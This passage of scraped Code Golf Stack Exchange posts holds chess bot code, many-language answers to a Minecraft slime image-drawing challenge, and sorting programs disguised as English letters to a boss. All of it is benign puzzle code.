e6c7 h4h8 c6b8 e3c4 g7e7 e6h3 c3c1 c6e5 b2b6 g7c7 d6f7 f6g8 f8f5 f6f3 h2e5 h4e4 d7a7 f5a5 d5g2 c4e6 f8a8 g2g7 c2a1 a7c7 a2f7 d6d4 h4e1 h5f4 b1g1 f1f6 b1b8 a4h4 a4d4 f2b2 a7h7 g2f4 h3h8 f6f4 e3b6 h7d3 b6d8 f1d2 d6h2 g4f2 f5e7 b3f3 c2g2 d1d6 a2f2 c8g4 f5h5 g1d4 g2b7 e4g5 e6e3 e2e6 b1f5 b5c3 b3h3 e2e8 b1b5 b7d8 g6h4 h7e7 g1a1 f6d6 c1d3 f7a2 a1e5 f2h4 e7h4 h7h1 f2d1 b3e6 g5h3 e5e8 e6f8 d5a5 c3g3 d3a3 c5b7 b5b3 e2a2 a6a1 f4f8 f2f7 a6f6 b2d1 g6b1 h6f6 h6a6 c2c8 b8b3 e6e2 b6b4 c1c4 a5f5 f4h3 c2f2 a5a2 c3h3 c5f5 b3b6 b5a7 d6b7 b4d5 f6f2 g7c3 e1e5 a3g3 a6a3 f1f5 g4c4 e5g6 a8a2 e4a8 a6e6 e3d1 c3e1 a6g6 f7h5 b7g7 e3a3 g5g2 h5h2 a4d1 e3e6 f4d5 d2d8 g8g2 c4e3 f6b2 g4d7 g6f8 b7b5 a4e8 b3d2 e6h6 b8h2 d3h3 f4c4 b8f4 f5f7 g1g7 c6f3 b3g3 g3h1 b6c4 g6g4 a3e3 d4f5 a7f2 h2h8 b7d6 c5c8 c6c4 c8c3 f6h7 e3e5 e6g7 f4b8 b4c6 b3d4 g4h2 a8e4 h5h3 c6h6 f6a1 d5a2 g6d6 b2h8 c2c6 b3a5 a6f1 g6c6 f3b7 g7a7 g7e6 e1b4 h6h4 a5g5 f3f8 g3g7 d3c5 h1c6 d6b4 g3h5 a7a4 f6f1 c2h2 g2a2 b6f6 g3f1 b8f8 c4c7 f8f3 b5d4 c4b6 c1e2 b3f7 e1c3 d3f1 b4d3 a6a8 h6h2 h4d8 f7h6 b7g2 d6b6 d6g6 g4e4 h2h6 g6g1 c4a4 f8e6 f5b5 c5a6 f2h3 d4a7 c3c6 e8e3 e6a2 a4g4 b2g2 a6a2 h7a7 a1b3 h4h6 c4g4 b6e3 f2c5 b8c6 e2a6 e8e5 a4a7 f8d7 c7f7 g6b6 f3f6 a6d6 c6a5 g4e5 g4g8 h4h1 b3d1 f1g3 f4f7 b8d7 f3c6 e1g2 f8f4 g6h8 a6c7 f2d3 b2b8 b1b6 b6e6 a2c1 h6g4 d7c5 e3e8 a5b3 a7c6 e7a3 e1c2 h3d7 g1g5 g5g8 b1e4 b6g1 b1b7 h4f2 b7f7 f7f3 f4h5 e4e8 c6g6 e5g5 c6h1 f2c2 h4d4 g1c1 f5f2 c2a3 b2c4 d5c3 a7b5 h7h3 e1a5 e6b3 g2c2 e3g2 c7c3 c6c2 a7a2 h3b3 d4a4 b8b2 d6d1 f3e1 e4e6 g2d2 c7c4 h7h5 c7g3 c5a5 h8h2 h5b5 g3e2 b6c8 f1f7 h2a2 d6a3 g4c8 g8g4 f6c3 h4h7 d1c3 g2d5 c1c6 h2c7 g7g4 g5g7 a5c4 g1g6 e6g5 c6c3 e1f3 g2e3 b5e5 f7f4 g1g8 e4b1 f7f2 c5e6 e2e7 e5h5 c2f5 d6d3 c5c1 e4b7 e4h1 f4d3 d7b6 b5e2 a2c3 b4b1 a1f6 f2f8 g3b3 c7c1 h4g2 b8a6 c4a5 h1f2 h2f3 f2f6 d3c1 e7e1 d3d8 g4g1 c1b3 a5c6 d3e1 c5g5 a6c5 f2a2 b2h2 h6h1 c3a3 g6g8 d1b2 f8f1 h7f6 e8e2 d6b5 c4f7 d3a6 h6h3 c5d3 b7a5 g3e4 f1f8 g5e5 a5e1 g5c1 g5a5 f3b3 e6a6 h4e7 h2h5 g5c5 g8g3 d3f4 c6a7 c7h2 g3g6 f4a4 e3g1 c6g2 e7e3 d6c4 d7d1 b5b2 b7d5 f6d7 a3f3 h5f6 b2b7 a2g2 h4c4 c1c5 a5b7 b6b1 c8d6 a4d7 e3a7 d4b3 g6e5 d2g2 d2d5 c1c7 g6g2 a5a3 c6b4 b7h1 b5b7 d3f2 h5c5 e1h4 f6g4 b5h5 c7b5 b6d6 f7a7 b4e1 h4a4 d8c8 c4a3 f5d6 b6d5 f6a6 g7g1 h6g8 b7b2 h8c3 f7g5 f2h1 g6f4 c5g1 d2d7 h3h7 h2f1 e8c7 e6e1 g3c3 g1c5 b6g6 g1b6 a2g8 a2a8 h1g3 d3b4 e3e7 b8b1 g3b8 h5a5 d3b2 a4b2 a5h5 h4b4 h7h2 c5h5 b5f1 h6e3 g7g2 a6b8 f7b3 h3c8 g5f3 f6h5 d7h7 c3c7 h1d5 h7c2 e7e4 g4a4 d3h7 c1h1 a3a7 g6a6 h5g3 a7a1 b6h6 b4e4 b2a4 h3c3 g3c7 h2d6 d5g8 g7b7 f8f2 c6c1 b2d3 e4h7 b5g5 d2d6 h4g6 g7a1 f1h2 d5b4 c7c2 e1d3 h6f5 g2g6 g8h6 e5b5 c8a7 e5a5 f7f1 g2b2 a2a6 g3a3 g4b4 f2b6 h6b6 f6b6 d7a4 c4h4 g2h4 g5g1 h3h6 h5g7 b4h4 c2h7 a7c8 d7d3 ", }; Random random=new Random(); int color=1; int seed=123; if (argv.length==2) { color="wb".indexOf(argv[0]); seed=(int)Long.parseLong(argv[1]); } random.setSeed(seed); int idx=random.nextInt(list.length); while (true) { for (int s = 0; s < list[idx].length(); s+=5) { String uci=list[idx].substring(s,s+2)+" "+list[idx].substring(s+2,s+4); if (color==1) { // black: then rewrite uci for black uci=uci.substring(0, 1)+"x87654321".indexOf(uci.charAt(1))+" "+uci.substring(3, 4)+"x87654321".indexOf(uci.charAt(4)); } System.out.println(uci); } } } } ``` [Answer] # Memorizer ``` import sys import random from functools import lru_cache board = [ [{"R"},{"K"},{"B"},{"Q"},{"k"},{"B"},{"K"},{"R"}], [{"P"},{"P"},{"P"},{"P"},{"P"},{"P"},{"P"},{"P"}], [set(),set(),set(),set(),set(),set(),set(),set()], [set(),set(),set(),set(),set(),set(),set(),set()], [set(),set(),set(),set(),set(),set(),set(),set()], [set(),set(),set(),set(),set(),set(),set(),set()], [set(),set(),set(),set(),set(),set(),set(),set()], [set(),set(),set(),set(),set(),set(),set(),set()]] _, color, seed = sys.argv[:3] random.seed(seed) pawns = [(i,j) for i in range(8) for j in range(4)] colnames = "abcdefgh" if color == "w" else "hgfedcba" rownames = "12345678" if color == "w" else "87654321" def coord2code(col, row): return colnames[col] + rownames[row] def move(col1, row1, col2, row2): if (col1, row1) not in pawns and 0 <= col2 <= 8 and 0 <= row2 <= 8: pass try: print(" ".join((coord2code(col1, row1),coord2code(col2, row2),"q"))) for type in board[row1][col1]: if (col2,row2) in getmoves(col1,row1,(type,)): board[row2][col2].add(type) if "P" in board[row2][col2] and row2 == 8: board[row2][col2].add("Q") pawns.append((col2,row2)) except IndexError: pass def pawncapture(col, row): if random.getrandbits(1): move(col, row, col+1, row+1) move(col, row, col-1, row+1) else: move(col, row, col+1, row+1) move(col, row, col-1, row+1) def spycheckmove(col1, row1, col2, row2): move(col1,row1,col2,row2) move(col2,row2,col1,row1) def protect_middle(adventure = True): move(4,3,3,4) move(3,3,4,4) move(2,2,3,3) pawncapture(4,4) pawncapture(3,3) pawncapture(2,2) pawncapture(5,2) spycheckmove(2,2,3,4) move(2,1,2,2) spycheckmove(5,2,4,4) move(5,1,5,2) @lru_cache() def getmoves(col, row, piece_types): return list(buildmoves(col, row, piece_types)) def buildmoves(col, row, piece_types): if "K" in piece_types: # Knight moves for x in (1, 2, -2, -1): if x+col >= 0 and x+col <= 7: for y in (2//x, -2//x): if y+row >= 0 and y+row <= 7: yield (x+col, y+row) if "P" in piece_types: yield (col+1,row+1) yield (col+1,row+1) yield (col-1,row+1) yield (col-1,row+1) yield (col+1,row+1) yield (col+1,row+1) yield (col-1,row+1) yield (col-1,row+1) yield (col+1,row+1) yield (col+1,row+1) yield (col-1,row+1) yield (col, row+1) yield (col, row+1) if "k" in piece_types: yield (col+1,row) yield (col-1,row) yield (col, row+1) yield (col, row-1) yield (col-1, row-1) yield (col-1, row+1) yield (col+1, row-1) yield (col-1, row+1) yield (col+1,row) yield (col-1,row) yield (col, row+1) yield (col, row-1) yield (col-1, row-1) yield (col-1, row+1) yield (col+1, row-1) yield (col-1, row+1) if "B" in piece_types or "Q" in piece_types: # Bishop moves for x in range(1,8): if col+x <= 7: if row+x <= 7: yield (col+x, row+x) if row-x >= 0: yield (col+x, row-x) if col-x >= 0: if row+x <= 7: yield (col-x, row+x) if row-x >= 0: yield (col-x, row-x) if "R" in piece_types or "Q" in piece_types: # Rook moves for x in range(1,8): if col+x <= 7: yield (col+x, row) if col-x >= 0: yield (col-x, row) if row+x <= 7: yield (col, row+x) if row-x >= 0: yield (col, row-x) move(4,1,4,3) protect_middle() move(4,0,4,1) move(4,1,4,2) move(3,1,3,3) protect_middle() move(1,0,2,2) protect_middle() move(6,0,5,2) protect_middle() while True: a = random.choice(pawns) piecetypes = board[a[1]][a[0]] if not piecetypes: continue b = random.choice(getmoves(a[0],a[1],tuple(piecetypes))) move(a[0], a[1], b[0], b[1]) ``` Is somewhat smart about random moves, also does a little dodging to avoid BluntV1 and Scholar ]
[Question] [ [Slimes](http://minecraft.gamepedia.com/Slime) are cube shaped [enemies](http://minecraft.gamepedia.com/Mob#Hostile_mobs) in [Minecraft](https://en.wikipedia.org/wiki/Minecraft) that break into multiple smaller versions of themselves when killed. For the purposes of this challenge we'll depict them as an 8×8 pixel image with 3 colors: [![64x64 slime](https://i.stack.imgur.com/zDECv.png)](https://i.stack.imgur.com/zDECv.png) [![8x8 slime](https://i.stack.imgur.com/0WZrn.png)](https://i.stack.imgur.com/0WZrn.png) ← True 8×8 version. The precise RGB colors are: * `0, 0, 0` for the eyes and mouth * `110, 170, 90` for the central, darker green * `116, 196, 96` for the outer, lighter green # Challenge Write a program or function that takes in a positive integer N and outputs an image of N sizes of slimes packed into a rectangle. Going from left to right, the image should follow the pattern of having: * A stack of 2(N-1) 8×8 slimes. * A stack of 2(N-2) 16×16 slimes. * A stack of 2(N-3) 32×32 slimes. * And so on until the stack only contains one slime. The slime images larger than the 8×8 version ([![8x8 slime](https://i.stack.imgur.com/0WZrn.png)](https://i.stack.imgur.com/0WZrn.png)) are generated by [nearest-neighbor upsampling](https://en.wikipedia.org/wiki/Image_scaling#Algorithms) (i.e. just doubling all the pixels). Note that you must use the exact slime design and colors given here. The final image will contain 2N-1 slimes and be 2(N+3)-8 pixels wide and 2(N+2) pixels tall. The image may be output in any common image file format, saved to a file or printed/returned as a raw data stream, or directly displayed during runtime. **The shortest code in bytes wins.** # Examples Your program should produce these exact results. N = 1: [![N = 1](https://i.stack.imgur.com/0WZrn.png)](https://i.stack.imgur.com/0WZrn.png) N = 2: [![N = 2](https://i.stack.imgur.com/cA72R.png)](https://i.stack.imgur.com/cA72R.png) N = 3: [![N = 3](https://i.stack.imgur.com/BZocG.png)](https://i.stack.imgur.com/BZocG.png) N = 4: [![N = 4](https://i.stack.imgur.com/Mdnmd.png)](https://i.stack.imgur.com/Mdnmd.png) N = 5: [![N = 5](https://i.stack.imgur.com/LjXcw.png)](https://i.stack.imgur.com/LjXcw.png) N = 6: [![N = 6](https://i.stack.imgur.com/isodR.png)](https://i.stack.imgur.com/isodR.png) Larger N should work just as well. [Answer] # [MATL](https://github.com/lmendo/MATL), ~~77~~ ~~76~~ 74 bytes ``` :"')^.,9&Xze`}+.E=p'F3ZaQ8e@qWt3$Y"G@-W1X"]&h[OOO;11 17E]5*29 7U24hhE&vEYG ``` The code works in [this commit](https://github.com/lmendo/MATL/commit/c982fad0c28392938612b1a824b1dbc95aecac53), which is earlier than the challenge. You can try it in [**MATL online**](https://matl.io/?code=%3A%22%27%29%5E.%2C9%26Xze%60%7D%2B.E%3Dp%27F3ZaQ8e%40qWt3%24Y%22G%40-W1X%22%5D%26h%5BOOO%3B11+17E%5D5%2a29+7U24hhE%26vEYG&inputs=5&version=19.0.0). This interpreter is still experimental. If it doesn't work, try refreshing the page and pressing "Run" again. Here's an example run in the offline interpreter: [![enter image description here](https://i.stack.imgur.com/hofRW.png)](https://i.stack.imgur.com/hofRW.png) ### Explanation ``` : % Input N implicitly. Generate range [1 2 ... N] " % For each k in [1 2 ... N] ')^.,9&Xze`}+.E=p' % Compressed string F3Za % Decompress with target alphabet [0 1 2] Q % Add 1 8e % Reshape into 8×8 array containing values 1, 2, 3 @qW % Push 2 raised to k-1 t % Duplicate 3$Y" % Repelem: interpolate image by factor 2 raised to k-1 G@-W % Push 2 raised to N-k 1X" % Repmat: repeat the array vertically. Gives a vertical strip % of repeated subimages ] % End for each &h % Concatenate all vertical strips horizontally. This gives a big % 2D array containing 1, 2, 3, which represent the three colors [OOO;11 17E]5* % Push array [0 0 0; 11 17 9] and multiply by 5 29 7U24hhE % Push array [29 49 24] and multiply by 2 &vE % Concatenate the two arrays vertically and multiply by 2. % This gives the colormap [0 0 0; 110 170 90; 116 196 96] YG % Take the array and the colormap and display as an image ``` [Answer] # Dyalog APL, ~~118~~ 113 [bytes](http://meta.codegolf.stackexchange.com/questions/9428/when-can-apl-characters-be-counted-as-1-byte-each/) `('P3',⌽∘⍴,255,∊)(3↑(116 196 96)(110 170 90))[⊃,/i{⊃⍪/⍵⍴⊂⍺⌿⍺/8 8⍴∊22923813097005 926134669613412⊤¨⍨⊂32⍴3}¨⌽i←2*⍳⎕]` assuming `⎕IO=0` From right to left: `i←2*⍳⎕` powers 1 2 4 ... 2n-1 `i{ }¨⌽i` iterate over powers (with `⍺`) and reversed powers (`⍵`) `⊤¨⍨⊂32⍴3` decode each of the numbers on the left as 32 ternary digits `8 8⍴∊` flatten and reshape to 8×8 `⍺⌿⍺/` replicate each row and column `⍺` times `⍵⍴⊂` take `⍵` copies `⊃⍪/` and stack them vertically `⊃,/` join all results horizontally `3↑(116 196 96)(110 170 90)` colours; `3↑` extends them with `(0 0 0)` `[ ]` index the colours with each element of the matrix; result is a matrix of RGBs `('P3',⌽∘⍴,255,∊)` is a "train" - a function that returns `'P3'` followed by the reversed shape of the argument, `255`, and the argument flattened. [Answer] # JavaScript (ES7), 326 ~~327~~ bytes ``` n=>{x=(d=document).body.appendChild(c=d.createElement`canvas`).getContext`2d`;c.width=2*(c.height=4*(p=2**n)));for(i=0;i<n;i++){c=-1;for(j of[...'0001000001111110022112200221122011111110011121110111111000010000'])for(x.fillStyle=['#74c460','#6eaa5a','#000'][j],c++,k=0;k<p;)x.fillRect(c%8*(_=2**i)+_*8,~~(c/8)*_+_*8*k++,_,_)}} ``` **Ungolfed ES6 Version** [Try it yourself.](https://jsfiddle.net/st2esfyL/) ``` (n=>{ x=(d=document).body.appendChild(c=d.createElement`canvas`).getContext`2d`; c.width=2*(c.height=4*(p=Math.pow(2,n))); for(i=0;i<n;i++){ c=-1; for(j of[...'0001000001111110022112200221122011111110011121110111111000010000']) for(x.fillStyle=['#74c460','#6eaa5a','#000'][j],c++,k=0;k<p;) x.fillRect(c%8*(_=Math.pow(2,i))+_*8,~~(c/8)*_+_*8*k++,_,_) } })(4); ``` The only difference between the ES7 and ES6 version is using `**` instead of `Math.pow()`. You can also see, how you can invoke the function – in this example with `n=4`. **Result** [![enter image description here](https://i.stack.imgur.com/52WmA.png)](https://i.stack.imgur.com/52WmA.png) --- **Edits** * saved *1 byte* - found an unnecessary trailing semicolon `;` --- This is pretty slow and might take some time for numbers greater 10. [Answer] # C, 220 bytes ``` x,y,r;f(n){ printf("P3 %d %d 255 ",(8<<n)-8,4<<n); for(y=0;y<4<<n;++y)for(r=0;r<n;++r)for(x=0;x<8<<r;++x) puts("110 170 90\0 116 196 96\0 0 0 0"+12* (117-"` t5L\rL\ru5tst5` "[x>>r+2|(y>>r)%8*2]>>(x>>r)%4*2&3));} ``` I added useless newlines for readability, score is without these newlines. Defines a function `f(n)` that outputs a plain PPM image on stdout. [Answer] # Mathematica, ~~267~~ ~~255~~ ~~254~~ ~~225~~ 212 bytes ``` G=10{11,17,9};Image@Join[##,2]&@@Table[Join@@Table[ImageData@ImageResize[Image[{t={g=G+{6,26,6},g,g,G,g,g,g,g},f={g,a=##&[G,G,G],a,g},e={g,b=0g,b,G,G,b,b,g},e,{a,a,G,g},{g,a,b,a},f,t}/255],4*2^j],2^(#-j)],{j,#}]& ``` *Saved ~~29~~ 42 bytes thanks to Martin Ender* Golfing suggestions welcome, especially for constructing the 8 by 8 (by 3) array `s`. Unfortunately, there is no "`ArrayResize`" analogue for `ImageResize`, so the array needs to be converted to an image (`Image`) before resizing, and then back to an array (`ImageData`) to do the `Join`ing. Ungolfed: ``` (* dark green, light green, black *) G = 10 {11, 17, 9}; g = G + {6, 26, 6}; b = 0 g; (* abbreviation for triple G sequence, top row, forehead, eye level *) a = ##&[G, G, G]; t = {g, g, g, G, g, g, g, g}; f = {g, a, a, g}; e = {g, b, b, G, G, b, b, g}; (* slime *) s = { t, f, e, e, {a, a, G, g}, {g, a, b, a}, f, t }/255; (* jth column *) c[n_, j_] := Join @@ Table[ImageData@ImageResize[Image[s], 4*2^j], 2^(n - j)] (* final program *) Image@Join[##, 2] & @@ Table[c[#, j], {j, #}] & ``` [Answer] # Python 2.7: ~~424~~ ~~412~~ ~~405~~ ~~376~~ 357 Bytes I'm a bit new to golfing.... here we go ``` from numpy import* import PIL def c(n,col):e=log2((col+8)/8)//1;r=2**e;t=2**(n-e-1);return tile(repeat(array([0x2df0777ca228b9c18447a6fb/3**i%3for i in range(64)],dtype=int8).reshape([8,8])[:,(col-(8*r-8))//r],r),t) n=input();i=PIL.Image.fromarray(column_stack([c(n,col) for col in range(2**(n+3)-8)]),mode='P');i.putpalette('t\xc4`n\xaaZ'+' '*762);i.show() ``` ungolfed and length tested.. ``` from numpy import* import PIL def c(n,col): #creates array for a given column s = array([0x2df0777ca228b9c18447a6fb/3**i%3for i in range(64)],dtype=int8).reshape([8,8]) #slime template (golfed inline) e=log2((col+8)/8)//1 #exponent for tiles and repititions r=2**e #number of repitions (scale factor) t=2**(n-e-1) #number of tiles (vertically) return tile( repeat( s[:,(col-(8*r-8))//r] #select appropriate column from template ,r) #repeat it r times ,t) #tile it t times n = input() arr = column_stack([c(n,col) for col in range(2**(n+3)-8)]) #create image array by stacking column function i=PIL.Image.fromarray(arr,mode='P'); #colormap mode i.putpalette('t\xc4`n\xaaZ'+' '*762); #set colormap i.show() s = r'''from numpy import* import PIL def c(n,col):e=log2((col+8)/8)//1;r=2**e;t=2**(n-e-1);return tile(repeat(array([0x2df0777ca228b9c18447a6fb/3**i%3for i in range(64)],dtype=int8).reshape([8,8])[:,(col-(8*r-8))//r],r),t) n=input();i=PIL.Image.fromarray(column_stack([c(n,col) for col in range(2**(n+3)-8)]),mode='P');i.putpalette('t\xc4`n\xaaZ'+' '*762);i.show()''' print len(s) ``` edit1: removed `sys.argv[1]` in favor of `raw_input()` to save extra import statement edit2: shortened PIL import: removed `from Image` added `PIL.` edit3: Thanks @Sherlock9 for the hex encode of the slime template edit4: didn't need function def and used `input()` instead of `raw_input()` [Answer] # R, ~~378~~ ~~356~~ ~~346~~ 334 bytes ``` f=function(n){r=rep;k=r(0,4);m=r(1,6);L=c();for(i in 1:n)L=cbind(L,r(max(L,0)+2^(n-i):1,e=2^(i-1)));png(w=sum(w<-4*2^(1:n)),h=sum(h<-r(8,2^(n-1))));layout(L,w,h);for(i in 1:max(L)){par(mar=k);image(matrix(c(0,0,0,1,k,0,m,0,0,1,1,1,2,r(1,10),0,0,r(r(c(2,1,2,0),e=2),2),m,k,1,k),nr=8),col=c("#74C460","#6EAA5A",1),ax=F,an=F)};dev.off()} ``` Saves as a png file. Indented, with linefeeds: ``` f=function(n){ r=rep k=r(0,4) m=r(1,6) L=c() for(i in 1:n)L=cbind(L,r(max(L,0)+2^(n-i):1,e=2^(i-1))) png(w=sum(w<-4*2^(1:n)),h=sum(h<-r(8,2^(n-1)))) layout(L,w,h) for(i in 1:max(L)){ par(mar=k) image(matrix(c(0,0,0,1,k,0,m,0, 0,1,1,1,2,r(1,10),0, 0,r(r(c(2,1,2,0),e=2),2), m,k,1,k), nr=8), col=c("#74C460","#6EAA5A",1),ax=F,an=F) } dev.off() } ``` N=2: [![N=2](https://i.stack.imgur.com/byebW.png)](https://i.stack.imgur.com/byebW.png) N=3: [![N=3](https://i.stack.imgur.com/SiGka.png)](https://i.stack.imgur.com/SiGka.png) N=4: [![N=4](https://i.stack.imgur.com/gntye.png)](https://i.stack.imgur.com/gntye.png) Some explanations: Here's the matrix that's being plotted (0 represent lightgreen, 1 darkgreen and 2 black; the matrix is tilted because columns are the y-axis and rows the x-axis): ``` [,1] [,2] [,3] [,4] [,5] [,6] [,7] [,8] [1,] 0 0 0 1 0 0 0 0 [2,] 0 1 1 1 2 2 1 0 [3,] 0 1 1 1 2 2 1 0 [4,] 1 1 1 1 1 1 1 1 [5,] 0 1 2 1 1 1 1 0 [6,] 0 1 1 1 2 2 1 0 [7,] 0 1 1 1 2 2 1 0 [8,] 0 0 1 0 0 0 0 0 ``` Each call to `image` plot that matrix (with each integer corresponding to a color). For N=4, here is L (the layout matrix, each unique number represents one single plot), w (the widths of the matrix columns) and h (the heights of the matrix rows): ``` > L [,1] [,2] [,3] [,4] [1,] 8 12 14 15 [2,] 7 12 14 15 [3,] 6 11 14 15 [4,] 5 11 14 15 [5,] 4 10 13 15 [6,] 3 10 13 15 [7,] 2 9 13 15 [8,] 1 9 13 15 > w [1] 8 16 32 64 > h [1] 8 8 8 8 8 8 8 8 ``` [Answer] # Java 8, 512 bytes ``` import java.awt.*;n->new Frame(){{add(new Panel(){public void paint(Graphics g){for(int N=n,o=0,p=1,t,q,u;N-->0;o+=8*p,p*=2)for(t=(int)Math.pow(2,N);t-->0;g.setColor(new Color(116,196,96)),g.fillRect(o,q=u*t,u,u),g.setColor(new Color(110,170,90)),g.fillRect(p+o,p+q,6*p,6*p),g.fillRect(o,4*p+q,p,p),g.fillRect(3*p+o,q,p,p),g.fillRect(7*p+o,5*p+q,p,p),g.fillRect(3*p+o,7*p+q,p,p),g.setColor(Color.BLACK),g.fillRect(p+o,2*p+q,2*p,2*p),g.fillRect(5*p+o,2*p+q,2*p,2*p),g.fillRect(4*p+o,5*p+q,p,p))u=8*p;}});show();}} ``` **Results for \$n=4,5,6\$:** [![enter image description here](https://i.stack.imgur.com/6hfuX.png)](https://i.stack.imgur.com/6hfuX.png) [![enter image description here](https://i.stack.imgur.com/QuoaL.png)](https://i.stack.imgur.com/QuoaL.png) [![enter image description here](https://i.stack.imgur.com/VCWCo.png)](https://i.stack.imgur.com/VCWCo.png) **Explanation:** ``` import java.awt.*; // Required import for almost everything n-> // Method with integer parameter and Frame return-type new Frame(){ // Create the Frame { // In an inner code-block: add(new Panel(){ // Add a Panel we can draw on: public void paint(Graphics g){ // Overwrite its paint method: for(int N=n, // Create a copy of the (effectively final) input o=0, // Offset integer, starting at 0 p=1, // Power integer, starting at 1 t, // Inner loop integer, starting uninitialized q,u; // Temp integers, starting uninitialized N-->0 // Loop `N` in the range (`n`, 0]: ; // After every iteration: o+=8*p, // Increase the offset by 8 times the power p*=2) // And go to the next power by doubling it for(t=(int)Math.pow(2,N); // Set `t` to 2^`N` t-->0 // Inner loop `t` in the range (2^`N`, 0]: ; // After every iteration: g.setColor(new Color(116,196,96)), // Set the color to the lighter green g.fillRect(o,q=u*t,u,u), // Draw the background rectangle, // and set `q` to `u*t` to save bytes g.setColor(new Color(110,170,90)), // Change the color to the darker green g.fillRect(p+o,p+q,6*p,6*p), // Draw the inner rectangle g.fillRect(o,4*p+q,p,p), // Draw the left dot g.fillRect(3*p+o,q,p,p), // Draw the top dot g.fillRect(7*p+o,5*p+q,p,p), // Draw the right dot g.fillRect(3*p+o,7*p+q,p,p), // Draw the bottom dot g.setColor(Color.BLACK), // Change the color to black g.fillRect(p+o,2*p+q,2*p,2*p), // Draw the left eye g.fillRect(5*p+o,2*p+q,2*p,2*p), // Draw the right eye g.fillRect(4*p+o,5*p+q,p,p)) // Draw the mouth u=8*p;}}); // Set `u` to `8*p` to save bytes show();}} // And afterwards show the Frame ``` ]
[Question] [ Your boss managed to [read the secret hidden message](https://codegolf.stackexchange.com/questions/36864/possibly-quit-your-job-with-a-polyglot). He didn't end up firing you, though, he just made you a secretary and forbade you from writing code. But you're a programmer. You need to write code. You *must* code. Therefore, your code needs to look as similar to English as possible, make sense, and look as little like code as possible. Your code should take a list of integers (either in a function, or STDIN), and return that list sorted (returning it, or STDOUT). Any language can be used, but I'm looking for the most creative solution, (kudos if your code looks like a business letter). This is a popularity contest! [Answer] # GolfScript > > Dear Boss Man. > > > It came to my attention that my keyboard needs replacement; the keys required to write the > > symbols ~ $ ` . and } are not functioning properly. > > > It's very difficult to work like this! Please instruct the IT department to exchange the faulty > > keyboard as soon as possible. > > > Sincerely, > > > Dennis > > > [Try it online!](http://golfscript.tryitonline.net/#code=RGVhciBCb3NzIE1hbi4KCkl0IGNhbWUgdG8gbXkgYXR0ZW50aW9uIHRoYXQgbXkga2V5Ym9hcmQgbmVlZHMgcmVwbGFjZW1lbnQ7IHRoZSBrZXlzIHJlcXVpcmVkIHRvIHdyaXRlIHRoZQpzeW1ib2xzIH4gJCBgIC4gYW5kIH0gYXJlIG5vdCBmdW5jdGlvbmluZyBwcm9wZXJseS4KCkl0J3MgdmVyeSBkaWZmaWN1bHQgdG8gd29yayBsaWtlIHRoaXMhIFBsZWFzZSBpbnN0cnVjdCB0aGUgSVQgZGVwYXJ0bWVudCB0byBleGNoYW5nZSB0aGUgZmF1bHR5CmtleWJvYXJkIGFzIHNvb24gYXMgcG9zc2libGUuCgpTaW5jZXJlbHksCgpEZW5uaXM&input=WzEzMzcgMTMgNDIgN10) ### How it works * > > Undefined tokens (e.g., most English words) are noops in GolfScript. > > > * > > `. ;` duplicates the input string and discards the copy. > > > * > > `~ $` evaluates the input string and sorts the resulting array. > > > * > > ``` inspects the array (for pretty printing). > > > * > > `. and` duplicates the output string and discards the copy. > > > * > > `}` is a "super comment" since it is unmatched; everything following it is ignored. > > > [Answer] # PHP Defines a function called `item` that will sort an array that you pass it. ``` Dear Boss, I have successfully discovered all brackets. The ones marked with question marks are the ones which I am not sure about. The ones marked with asterisks can be used both as an opening and closing delimiter. ( ) { } [ ] >? <? /* '* "* Thank you for reading my memo. In other news, the */ function item (#12 in the list of things that have an asterisk before them) was discovered recently, which I read on a local news site. #12 is my favorite function item! Just thought you'd be interested. Sorry if this is too off-topic; here's some business stuff. Imagine that you had some (let's say you have a combination of $10 & $money) # of dollars (i.e. you have $10 + $money). Now, here's the important part. It's so important, I'll separate it from the rest of this message with the brackets I discovered: { #10 in my personal list of things to remember about money management is that you have to be careful. I still haven't been able to sort #9 out yet (I bought the manual from someone else), but #9 also seems to be about being careful. You also have to guard the dollars ($money); #13 says that if you don't protect them by putting them in a bank or something, they might be stolen. } //-----------------------\\ // Signed, \\ // Your great employee \\ //-----------------------\\ ``` It looks much better if you paste it into a text editor and resize the window so that you can see the entire thing on your screen at once. [Answer] # Python 2 ``` ''''''''''''''''''''''''''''''''''''''''''''' One of the phones in the office seems to be broken, so it needs to be fixed. '''''''''''''''''''' This memo was made while testing the functionality of its buttons since some of them didn't seem to work. '''''''' 1 (no alphabets) working with no problem '''''''' abc working with no problem ''''''''' def working (partially): please =( 'o" :\ at least I figured out that this was a problem! :') # list (phone number list) was missing as well, so I need to: #1 print (please, sorted (partially)) [1] # list, and [2] the memo #2 return #3 check (making-sure, ghi-jkl-etc. works) '''''''''''''''''' ``` [Answer] ## Python 2 ``` ''' 5th of September 2014 Dear Boss, I am writing this Mail because i want to discuss the recent incident. I am Thankful that you did not fire me, and gave me a secretary position instead. I dont have any experience in being a sec retary and I am not very. good at writing mail, so please excuse any spelling, grammar or formating errors in this mail. I will certainly try to improve and do my best in my new job and will''' 'from now on strictly ';exec'''ute your orders. = Firstly i want to sincerly apologize my dumb behaviour,it was idiotic ( and childish ). I really ;apologize to you. it wont .happen again, sir. If i could only reverse the timeline (to undo it all). Then i would; I really promise to never write code in any form Can i talk about that in a meeting with you? Maybe today at'''[4::15]#in the afternoon? ``` Finding the right words was a real pain. Input: [1,7,4,3] Output: [1,3,4,7] [Answer] # NetLogo ``` To Manager [IT] Let Sue sort it; then show Sue the end to the end ``` With indentation and capitalization changes, the code becomes clear(er). This defines a function called `manager` which takes a list as input and prints the list sorted. ``` to manager [IT] let sue sort IT; then (semicolons introduce a comment) show sue the end to the end ``` [Answer] # C Input as space-separated list through STDIN, output as space-separated list through STDOUT. ``` Dear Boss, I have made for you a decision about my employment a t your company. At about noon a letter explaining this shall be presented to you, as I am a lazy person. As you are a fool, I will say no more. And I look forward to never seeing you again. Insincerely, Steward Pitt ``` This should be compiled with: ``` gcc bossletter.c -o bossletter -Dam='+++' -Dwill='---' -Dthis='{' -Dhave=';' -Ddecision=',' -Dquit='*' -Dfor='(' -Dmy=')' -Dbrain='}' -Dlie=']' -Dnoon='-quit' -DD='' -Dto='D' -Dyou='D' -Dfool='you' -Das='to' -Dday='D' -Dno='fool' -Dcake='Pitt' -Dlook='you' -DPitt='the' -Dthe='as' -DBoss='a[9999 lie' -DAs='a have' -Dlazy='my' -Dperson='lazy have company' -Dyour='this' -DInsincerely='a' -Dcompany='b' -Demployment='int quit' -DDear='struct this employment a have brain b have' -Dbe='scanf for' -Dis='I[' -Dnever='for presented " " decision' -Dthat='4 decision' -Dagain="my have b" -Dt='decision quit about have' -Dshall='while for' -Dpresented='"%" to "d"' 